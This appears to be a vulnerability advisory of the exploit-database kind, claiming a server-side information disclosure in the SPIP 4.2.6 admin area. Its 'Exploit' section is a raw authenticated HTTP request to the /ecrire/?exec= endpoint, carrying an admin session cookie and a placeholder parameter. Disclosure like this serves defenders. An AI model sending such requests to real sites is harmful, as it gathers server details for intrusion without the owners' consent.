## Title: Spip-4.2.6 Server-side Information Disclosure ## Author: nu11secur1ty ## Date: 10/21/2023 ## Vendor: https://www.spip.net/en_rubrique25.html ## Software: https://demo.spip.net/spip.php?page=login&lang=fr ## Reference: https://portswigger.net/web-security/information-disclosure ## Description: The already authenticated user can find all information about the server of this web application. This is very dangerous for the owner of the server and this web application. This can give many scenarios for an attack by the attacker. STATUS: HIGH- Vulnerability [+]Exploit: ``` GET /ecrire/?exec=VULNERABLE_CONTENT_OF_THE_PARAMETER&bonjour=oui HTTP/2 Host: demo.spip.net Cookie: spip_session=1_2b678f1cc3baf82c3ca0b49fa5b4aa3c; spip_admin=%40webmestre Cache-Control: max-age=0 Sec-Ch-Ua: "Not=A?Brand";v="99", "Chromium";v="118" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.88 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://demo.spip.net/spip.php?page=login&url=%2Fecrire%2F%3Fexec%3Dinfo&lang=fr Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/SPIP/Spip-4.2.6) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2023/10/spip-v426-server-side-information.html) ## Time spent: 01:37:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>